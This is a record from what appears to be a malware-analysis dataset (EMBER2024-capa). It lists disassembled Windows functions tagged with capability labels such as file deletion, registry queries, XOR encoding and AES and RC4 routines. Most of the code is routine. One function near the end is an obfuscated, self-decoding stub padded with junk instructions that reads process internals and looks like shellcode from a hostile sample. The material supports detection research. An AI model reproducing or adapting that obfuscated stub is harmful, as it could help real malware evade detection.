joyce8/EMBER2024-capa huggingface dataset:
Function at 0x425130
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
cmp dword [edi + 0x14], 8
jb 0x425141
mov eax, dword [edi]
jmp 0x425143
mov eax, edi
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4252e1
cmp dword [edi + 0x14], 8
jb 0x42515c
mov eax, dword [edi]
jmp 0x42515e
mov eax, edi
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
cmp dword [edi + 0x14], 8
jb 0x42516f
mov eax, dword [edi]
jmp 0x425171
mov eax, edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp eax, 1
sete bl
test bl, bl
jne 0x4252d9
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 5
jne 0x42525d
cmp dword [edi + 0x14], 8
jb 0x4251a3
mov eax, dword [edi]
jmp 0x4251a5
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edx, eax
mov dword [ebp - 4], edx
test dl, 1
je 0x42525d
mov ecx, dword [0x4b29d0]
test ecx, ecx
je 0x4251f4
cmp dword [edi + 0x14], 8
jb 0x4251ce
mov eax, dword [edi]
jmp 0x4251d0
mov eax, edi
push edx
push eax
push str.File__s_is_with_read_only._Its_attribute_is:__d._UnSetting_its_read_only_attr_and_retry_deleting
push 0x49587c
push 0x49587c
push 0x49eab4
push str.OOBEUtils
push 0x14
call ecx
add esp, 0x20
jmp 0x425228
mov ecx, dword [0x4b29d4]
test ecx, ecx
je 0x425228
cmp dword [edi + 0x14], 8
jb 0x425208
mov edx, dword [edi]
jmp 0x42520a
mov edx, edi
push dword [ebp - 4]
mov eax, dword [ecx]
push edx
push str.File__s_is_with_read_only._Its_attribute_is:__d._UnSetting_its_read_only_attr_and_retry_deleting
push 0x49eab4
push 0x49587c
push 0x14
push ecx
call dword [eax + 0x34]
add esp, 0x1c
cmp dword [edi + 0x14], 8
jb 0x425232
mov eax, dword [edi]
jmp 0x425234
mov eax, edi
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [edi + 0x14], 8
jb 0x42524a
mov eax, dword [edi]
jmp 0x42524c
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp eax, 1
sete bl
test bl, bl
jne 0x4252d8
cmp dword [0x4b29d0], 0
je 0x42529f
cmp dword [edi + 0x14], 8
jb 0x42526e
mov edi, dword [edi]
call esi
push eax
push edi
push str.Failed_to_delete_file:__s_LastError:_d
push 0x49587c
push 0x49587c
push 0x49eab4
push str.OOBEUtils
push 0x32
call dword [0x4b29d0]
add esp, 0x20
mov al, bl
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
mov esi, dword [0x4b29d4]
test esi, esi
je 0x4252d8
cmp dword [edi + 0x14], 8
jb 0x4252b1
mov edi, dword [edi]
mov esi, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.Failed_to_delete_file:__s_LastError:_d
push 0x49eab4
push 0x49587c
push 0x32
push dword [0x4b29d4]
call dword [esi + 0x34]
add esp, 0x1c
pop esi
mov al, bl
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4252f0
Capabilities:
Check if file exists
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x485728
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x4ae070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
cmp dword [esi + 0x14], 8
jb 0x425329
mov eax, dword [esi]
jmp 0x42532b
mov eax, esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x425391
mov eax, dword [0x4b29d0]
test eax, eax
je 0x425366
push str.Source_file_does_not_exist_in_CopyFileFromSourceToDestination
push 0x49587c
push 0x49587c
push 0x49eab4
push str.OOBEUtils
push 0x32
call eax
add esp, 0x18
xor al, al
jmp 0x425498
mov ecx, dword [0x4b29d4]
test ecx, ecx
je 0x42538a
mov eax, dword [ecx]
push str.Source_file_does_not_exist_in_CopyFileFromSourceToDestination
push 0x49eab4
push 0x49587c
push 0x32
push ecx
call dword [eax + 0x34]
add esp, 0x14
xor al, al
jmp 0x425498
xor eax, eax
mov dword [ebp - 0x14], 7
push 0xffffffffffffffff
push eax
push edi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
call fcn.00401fb0
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.00424e50
push ecx
lea ecx, [ebp - 0x28]
call fcn.00425080
add esp, 4
cmp dword [edi + 0x14], 8
jb 0x4253d6
mov eax, dword [edi]
jmp 0x4253d8
mov eax, edi
cmp dword [esi + 0x14], 8
jb 0x4253e0
mov esi, dword [esi]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x42546b
cmp dword [0x4b29d0], eax
je 0x42542e
cmp dword [edi + 0x14], 8
jb 0x4253fe
mov edi, dword [edi]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.Failed_to_copy_file_at_the_destination:_s._LastError:__d
push 0x49587c
push 0x49587c
push 0x49eab4
push str.OOBEUtils
push 0x32
call dword [0x4b29d0]
add esp, 0x20
xor bl, bl
jmp 0x425481
mov esi, dword [0x4b29d4]
test esi, esi
je 0x425467
cmp dword [edi + 0x14], 8
jb 0x425440
mov edi, dword [edi]
mov esi, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str.Failed_to_copy_file_at_the_destination:_s._LastError:__d
push 0x49eab4
push 0x49587c
push 0x32
push dword [0x4b29d4]
call dword [esi + 0x34]
add esp, 0x1c
xor bl, bl
jmp 0x425481
cmp dword [edi + 0x14], 8
jb 0x425473
mov edi, dword [edi]
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov bl, 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 8
jb 0x425496
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.00401e70
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045922f
mov esp, ebp
pop ebp
ret
Function at 0x4254c0
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x485758
mov eax, dword fs:[0]
push eax
sub esp, 0x21c
mov eax, dword [0x4ae070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x228], ecx
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x21c]
xor bl, bl
mov dword [ebp - 0x21c], 0
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
push eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x224], 0
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
push 0x208
mov edi, eax
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.0045c4d0
add esp, 0xc
test edi, edi
je 0x4255fc
push edi
call fcn.0045928b
add esp, 4
mov esi, eax
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push esi
push edi
push dword [ebp - 0x21c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x4255f3
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x224]
push eax
push 0x49586c
push esi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x4255f3
cmp dword [ebp - 0x220], 0
je 0x4255f3
mov ecx, dword [ebp - 0x224]
cmp dword [ecx], 0xfeef04bd
jne 0x4255f3
movzx eax, word [ecx + 0xc]
push eax
movzx eax, word [ecx + 0xe]
push eax
movzx eax, word [ecx + 8]
push eax
movzx eax, word [ecx + 0xa]
push eax
push str._d._d._d._d
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0041f7d0
mov ecx, dword [ebp - 0x228]
lea eax, [ebp - 0x218]
add esp, 0x1c
push eax
call fcn.00401590
mov bl, 1
push esi
call fcn.00459240
add esp, 4
mov ecx, dword [ebp + 0x1c]
cmp ecx, 8
jb 0x425611
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00401e70
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045922f
mov esp, ebp
pop ebp
ret
Function at 0x426b60
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2010
call fcn.0045a020
mov eax, dword [0x4ae070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, edx
xor edx, edx
cmp dword [ecx + 0x14], 8
push edi
mov dword [ebp - 0x2010], edx
jb 0x426b8c
mov ecx, dword [ecx]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call ebx
cmp dword [esi + 0x14], 8
mov edi, eax
jb 0x426bb1
mov esi, dword [esi]
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
push esi
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x426be7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045922f
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [eax]
push 0
lea eax, [ebp - 0x2008]
push eax
push 0x1000
lea eax, [ebp - 0x2004]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x426c2f
push 0
lea eax, [ebp - 0x200c]
push eax
push dword [ebp - 0x2008]
lea eax, [ebp - 0x2004]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x426c37
call esi
mov dword [ebp - 0x2010], eax
cmp dword [ebp - 0x2008], 0x1000
je 0x426bf0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push ebx
call esi
mov edx, dword [ebp - 0x2010]
xor eax, eax
mov ecx, dword [ebp - 4]
test edx, edx
pop edi
sete al
xor ecx, ebp
pop esi
pop ebx
call fcn.0045922f
mov esp, ebp
pop ebp
ret
Function at 0x4288c0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x42890e
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi], eax
test eax, eax
jne 0x42890b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x42890b
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [esi], eax
cmp dword [esi], 0
mov ecx, dword [ebp + 0x1c]
setne bl
cmp ecx, 8
jb 0x428926
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00401e70
pop esi
mov al, bl
pop ebx
pop ebp
ret 0x18
Function at 0x429b70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x485ce8
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x4ae070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
xor eax, eax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x2c], ax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x34]
push eax
push 0x20019
push 0
push str.SoftwareAdobeALCID
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x429c0d
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov ecx, esi
mov word [esi], ax
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a70
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x429cca
inc ecx
push ecx
jmp 0x429cbf
lea eax, [ebp - 0x30]
mov dword [ebp - 0x14], 0
push eax
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x30], 0
push eax
push 0
push str.CCLangPref
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x429c8e
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x429c8e
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0045928b
mov edi, eax
add esp, 4
test edi, edi
je 0x429c8e
lea eax, [ebp - 0x30]
push eax
push edi
lea eax, [ebp - 0x14]
push eax
push 0
push str.CCLangPref
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x429c85
push edi
lea ecx, [ebp - 0x2c]
call fcn.00401590
push edi
call fcn.00459240
add esp, 4
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], 0
mov ecx, esi
mov word [esi], ax
lea eax, [ebp - 0x2c]
push eax
call fcn.00401a70
mov eax, dword [ebp - 0x18]
cmp eax, 8
jb 0x429cca
inc eax
push eax
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x2c]
call fcn.00401e70
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0045922f
mov esp, ebp
pop ebp
ret
Function at 0x4461a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x483b16
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x4ae070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [esi + 0x30]
xor al, al
mov ecx, dword [esi + 0x2c]
mov edi, edx
rep stosb byte es:[edi], al
push edx
call fcn.0046446b
add esp, 4
mov dword [ebp - 4], 0
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x4461ef
mov eax, dword [ecx]
push 1
call dword [eax]
test byte [ebp + 8], 1
je 0x446200
push 0x44
push esi
call fcn.0045927d
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x448040
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1c]
xor ebp, ebp
push edi
mov edi, esi
mov dword [esp + 0x18], edx
shr edi, 2
mov ebx, ecx
test edi, edi
je 0x4480f4
cmp edi, 8
jb 0x4480d3
lea eax, [edx - 4]
lea eax, [eax + edi*4]
lea ecx, [ebx - 4]
lea ecx, [ecx + edi*4]
cmp ebx, eax
ja 0x448079
cmp ecx, edx
jae 0x4480d3
mov eax, edi
mov ecx, edi
and eax, 7
mov esi, edx
sub ecx, eax
sub esi, ebx
mov dword [esp + 0x10], esi
lea eax, [ebx + 0x10]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x14], ecx
mov ecx, edx
mov edx, dword [esp + 0x10]
nop dword [eax + eax]
movups xmm0, xmmword [ecx]
add ebp, 8
lea ecx, [ecx + 0x20]
lea eax, [eax + 0x20]
movups xmm1, xmmword [eax - 0x30]
pxor xmm1, xmm0
movups xmmword [eax - 0x30], xmm1
movups xmm1, xmmword [edx + eax - 0x20]
movups xmm0, xmmword [eax - 0x20]
pxor xmm1, xmm0
movups xmmword [eax - 0x20], xmm1
cmp ebp, dword [esp + 0x14]
jb 0x4480a0
mov edx, dword [esp + 0x18]
cmp ebp, edi
jae 0x4480f4
mov esi, edx
lea ecx, [ebx + ebp*4]
sub edi, ebp
sub esi, ebx
add ebp, edi
mov eax, dword [ecx + esi]
lea ecx, [ecx + 4]
xor dword [ecx - 4], eax
sub edi, 1
jne 0x4480e2
mov esi, dword [esp + 0x20]
shl ebp, 2
sub esi, ebp
je 0x448174
add ebx, ebp
add edx, ebp
xor ecx, ecx
test esi, esi
je 0x448174
cmp esi, 0x20
jb 0x44815b
lea eax, [edx - 1]
lea edi, [ebx - 1]
add eax, esi
add edi, esi
cmp ebx, eax
ja 0x44811c
cmp edi, edx
jae 0x44815b
mov eax, esi
mov edi, esi
and eax, 0x1f
mov ebp, edx
sub edi, eax
mov eax, ebx
sub ebp, ebx
nop dword [eax + eax]
movups xmm0, xmmword [eax]
lea eax, [eax + 0x20]
movups xmm1, xmmword [eax + ebp - 0x20]
pxor xmm1, xmm0
movups xmmword [eax - 0x20], xmm1
movups xmm1, xmmword [edx + ecx + 0x10]
add ecx, 0x20
movups xmm0, xmmword [eax - 0x10]
pxor xmm1, xmm0
movups xmmword [eax - 0x10], xmm1
cmp ecx, edi
jb 0x448130
cmp ecx, esi
jae 0x448174
sub edx, ebx
lea eax, [ecx + ebx]
sub esi, ecx
mov cl, byte [eax + edx]
lea eax, [eax + 1]
xor byte [eax - 1], cl
sub esi, 1
jne 0x448166
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x44cf60
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x487cd9
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x4ae070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
cmp dword [0x4b29dc], 0
jne 0x44cfad
call fcn.0043a560
mov dword [0x4b29dc], 0x42fcb0
mov esi, dword [ebp + 8]
mov ecx, 2
mov dword [esi], vtable.CryptoPP::Integer.0
mov dword [esi + 8], 2
call fcn.00440a30
mov ecx, 8
call fcn.00448640
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], 0
mov dword [eax + 4], 0
mov eax, dword [esi + 0xc]
mov dword [eax], 0
push 1
push dword [ebp + 0x10]
mov dword [ebp - 4], 0
mov ecx, edi
push dword [ebp + 0xc]
mov edx, dword [edi]
push esi
mov dword [ebp - 0x10], 1
call dword [edx + 0x30]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x455be0
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push esi
xor eax, eax
push edi
movzx esi, byte [eax + 0x499d68]
mov edx, esi
mov ecx, esi
shr edx, 7
imul edi, edx, 0x1b000000
shl ecx, 0x19
imul edx, edx, 0x11b
xor edi, ecx
mov ecx, esi
shl ecx, 8
or ecx, esi
shl ecx, 8
or edi, ecx
lea ecx, [esi + esi]
xor edx, ecx
xor ecx, ecx
xor edx, esi
or ecx, edi
or edx, edi
mov dword [eax*8 + 0x4b29f0], ecx
mov dword [eax*8 + 0x4b29f4], edx
inc eax
cmp eax, 0x100
jl 0x455be4
xorps xmm0, xmm0
pop edi
movlpd qword [0x4b31f8], xmm0
movlpd qword [0x4b31f0], xmm0
mov byte [0x4b29e9], 1
pop esi
ret
Function at 0x474190
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0047400f

Function at 0x47a29d
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00479c0b

Function at 0x47a2a8
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00479e46

Function at 0x7ffe5355
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword fs:[0x30]
add eax, 0
cld
pushal
inc eax
popal
nop
and bh, 0xff
clc
lea esp, [esp]
nop
and bh, 0xff
cld
add eax, 0
clc
add eax, 0
nop
add eax, 0
cld
add eax, 0
cld
pushal
inc eax
popal
cld
pushal
inc eax
popal
nop
push edx
cdq
pop edx
cld
and bh, 0xff
stc
lea esp, [esp]
nop
pushal
inc eax
popal
nop
and bh, 0xff
cld
pushal
inc eax
popal
clc
and bh, 0xff
cld
push edx
cdq
pop edx
nop
pushal
inc eax
popal
stc
lea esp, [esp]
stc
pushal
inc eax
popal
cld
lea esp, [esp]
clc
push edx
cdq
pop edx
nop
and bh, 0xff
cld
lea esp, [esp]
stc
push edx
cdq
pop edx
cld
lea esp, [esp]
nop
pushal
inc eax
popal
cld
and bh, 0xff
clc
pushal
inc eax
popal
cld
lea esp, [esp]
cld
add eax, 0
nop
pushal
inc eax
popal
cld
pushal
inc eax
popal
clc
and bh, 0xff
stc
and bh, 0xff
cld
call 0x7ffe53f4
pop edx
and bh, 0xff
clc
add eax, 0
stc
xor dx, dx
add edx, 0xd5e0
lea esp, [esp]
nop
xor ecx, ecx
and bh, 0xff
clc
lea esp, [esp]
cld
push eax
pop eax
cld
mov cl, 0x1e
push edx
cdq
pop edx
xor byte [ecx + edx], 0x98
loop 0x7ffe541c
cld
lea esp, [esp]
cld
add eax, 0
cld
and bh, 0xff
push dword fs:[0x24]
cld
push eax
pop eax
stc
pop dword [edx + 0xa]
and bh, 0xff
cld
pushal
inc eax
popal
cld
nop
mov cl, 0xff
stc
and bh, 0xff
stc
push edx
loop 0x7ffe544c
mov dword [edx + 0x11], 0xffffacbb
stc
mov ecx, dword [eax + 0x2c]
clc
and bh, 0xff
clc
push edx
cdq
pop edx
cld
nop
mov dword [edx + 0x1b], ecx
stc
and bh, 0xff
cld
nop
mov dword [edx + 0x100], ecx
stc
push edx
cdq
pop edx
cld
stc
mov dword [eax + 0x2c], esp
cld
push edx
cdq
pop edx
push 0
clc
pushal
inc eax
popal
cld
and al, 0xff
cld
push 0
lea esp, [esp]
cld
lea esp, [esp]
cld
stc
cld
nop
push 0
push 0
add eax, 0
push 0x30
add eax, 0
push es
pop ds
cld
push 0x20
nop
pushal
inc eax
popal
nop
push eax
pop eax
cld
push 0
push edx
cdq
pop edx
cld
lea esp, [esp]
cld
cld
push 0
cld
add edx, 0xffff7f2b
lea esp, [esp]
cld
stc
cld
push edx
nop
cld
push edx
pushal
inc eax
popal
stc
and bh, 0xff
cld
push 0
clc
call dword [edx + 0x8218]
clc
push edx
cdq
pop edx
stc
add esp, 0x3f8
and bh, 0xff
cld
pushal
inc eax
popal
cld
cld
nop
stc
xor eax, eax
cld
lea esp, [esp]
cld
lea esp, [esp]
nop
clc
clc
cld
inc eax
push eax
pop eax
cld
ret 0xc
Function at 0x4010d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4010e9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401124
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401120
lea ebx, [ebx]
cmp esi, eax
jae 0x401124
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401110
cmp esi, eax
jb 0x40112a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x402a00
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov eax, dword [edi]
lea ecx, [esp]
push ecx
mov ecx, dword [esp + 0xc]
push esi
add eax, eax
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x18]
push 0
mov dword [edi], 0
mov edx, dword [ecx]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x402a6e
mov eax, dword [esp + 0xc]
cmp eax, 1
je 0x402a3f
cmp eax, 2
jne 0x402a5a
mov eax, dword [esp]
test esi, esi
je 0x402a68
test eax, eax
je 0x402a63
test al, 1
jne 0x402a5a
mov ecx, eax
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x402a68
mov eax, 0xd
pop ecx
ret 8
xor edx, edx
mov word [esi], dx
shr eax, 1
mov dword [edi], eax
xor eax, eax
pop ecx
ret 8
Function at 0x403cf0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x491388
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4b5a50]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov ebp, ecx
mov eax, dword [esp + 0x2c]
mov eax, dword [eax + 0xa0]
add eax, 0xfffffc17
cmp eax, 4
ja case.default.0x403d31
jmp dword [eax*4 + 0x403e6c]
lea esi, [ebp - 0x54]
call fcn.00405e40
jmp case.default.0x403d31
lea edi, [ebp - 0x54]
lea esi, [esp + 0x14]
mov eax, edi
call fcn.00402660
mov ecx, dword [eax]
mov eax, dword [ecx - 0xc]
test eax, eax
mov eax, dword [esp + 0x14]
sete bl
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403d7d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
jne case.0x403d31.1003
cmp dword [ebp + 0x18c], 0
jle 0x403dd5
lea ecx, [esp + 0x2c]
call fcn.004015d0
lea esi, [esp + 0x2c]
mov dword [esp + 0x24], 0
call fcn.0041c060
mov edx, dword [esp + 0x2c]
push 1
push 0
push 0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp - 0x34]
push 0
push 0
push 0x10
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov ecx, esi
call fcn.00401b10
jmp case.default.0x403d31
push edi
call fcn.00406db0
test eax, eax
jne case.default.0x403d31
push eax
mov esi, edi
call fcn.00405ee0
jmp case.default.0x403d31
mov ecx, dword [ebp - 0x34]
push 0
push 0
push 0x10
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
jmp case.default.0x403d31
lea edi, [ebp - 0x54]
lea esi, [esp + 0x18]
mov eax, edi
call fcn.00402660
mov edx, dword [eax]
cmp dword [edx - 0xc], 0
mov eax, dword [esp + 0x18]
sete bl
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e32
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
jne case.0x403d31.1003
call fcn.00407090
jmp case.default.0x403d31
mov edx, dword [ebp - 0x34]
push 0
push 0xf020
push 0x112
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 4